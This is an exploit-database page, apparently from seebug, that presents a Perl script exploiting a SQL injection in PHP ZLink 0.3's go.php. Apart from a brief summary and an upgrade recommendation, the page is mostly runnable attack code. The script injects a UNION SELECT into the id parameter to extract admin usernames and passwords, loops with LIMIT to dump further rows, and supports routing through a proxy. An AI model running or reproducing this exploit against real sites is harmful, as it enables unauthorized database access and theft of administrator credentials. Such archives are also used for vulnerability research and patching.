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PHP ZLink 0.3 (go.php) Remote SQL Injection Exploit

🗓️ 24 Dec 2007 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 14 Views

PHP ZLink 0.3 Remote SQL Injection Exploit. Exploit allows unauthorized access to database through go.php. Vulnerability exists in line 25 and 28 which allows SQL injection. It is recommended to upgrade to PHP ZLink v1.

Code

                                                #!/usr/bin/perl
use LWP::UserAgent;
use Getopt::Long;

if(!$ARGV[3])
{
  print "\n                         \\#'#/                    ";
  print "\n                         (-.-)                     ";
  print "\n   -----------------oOO---(_)---OOo----------------";
  print "\n   | PHP ZLink v0.3 (go.php) Remote SQL Injection |";
  print "\n   |                 coded by DNX                 |";
  print "\n   ------------------------------------------------";
  print "\n[!] Discovered.: DNX";
  print "\n[!] Vendor.....: http://www.zeak.net";
  print "\n[!] Detected...: 28.10.2007";
  print "\n[!] Reported...: 28.10.2007";
  print "\n[!] Response...: 29.10.2007";
  print "\n";
  print "\n[!] Background.: PHP ZLink is a free short Url Redirection Script";
  print "\n";
  print "\n[!] Bug........: \$id in go.php";
  print "\n";
  print "\n                 line 25: \$id = \$_GET['id']";
  print "\n";
  print "\n                 line 28: SELECT url FROM \$table WHERE id = \$id";
  print "\n";
  print "\n[!] Solution...: Upgrade to PHP ZLink v1.0";
  print "\n";
  print "\n[!] Usage......: perl zlink.pl [Host] [Path] <Options>";
  print "\n[!] Example....: perl zlink.pl 127.0.0.1 /zlink/ -id 1";
  print "\n[!] Options....:";
  print "\n       -id [no]      Valid ID";
  print "\n       -p [ip:port]  Proxy support";
  print "\n";
  exit;
}

my $host    = $ARGV[0];
my $path    = $ARGV[1];
my $table   = "admin";
my $id      = 0;
my %options = ();
GetOptions(\%options, "id=i", "p=s");

print "[!] Exploiting...\n";

if($options{"id"})
{
  exploit($options{"id"});
}
else
{
  print "[!] Exploit failed, missing parameter\n";
  exit;
}

print "\n[!] Exploit done\n";

sub exploit
{
  my $id     = shift;
  my $url    = "http://".$host.$path."go.php?id=".$id."%20union%20select%20concat(username,0x2f,password)%20from%20admin";
  my $regexp = "<iframe(.*)src=\"(.*)\"><\/iframe>";
  
  my $ua = LWP::UserAgent->new;
  
  if($options{"p"})
  {
    $ua->proxy('http', "http://".$options{"p"});
  }
  
  my $response = $ua->get($url);
  my $content = $response->content;
  @content = split(/\n/, $content);
  $found = 0;
  
  foreach (@content)
  {
    if($_ =~ /$regexp/ && $2 !~ /http/)
    {
      ($user, $pass) = split(/\//, $2);
      print "User/Password: ".$user."/".$pass."\n";
      $found = 1;
    }
  }
  
  if(!$found)
  {
    $count = 2;
    $noendless = 20;
    while($count < $noendless)
    {
      $response = $ua->get($url."%20limit%20".$count++);
      if($tmp eq $response->base)
      {
        $count = $noendless;
      }
      else
      {        
        $tmp = $response->base;
        ($x, $y) = split(/$host$path/, $tmp);
        print "User/Password: ".$y."\n";
      }
    }
  }
}
                              

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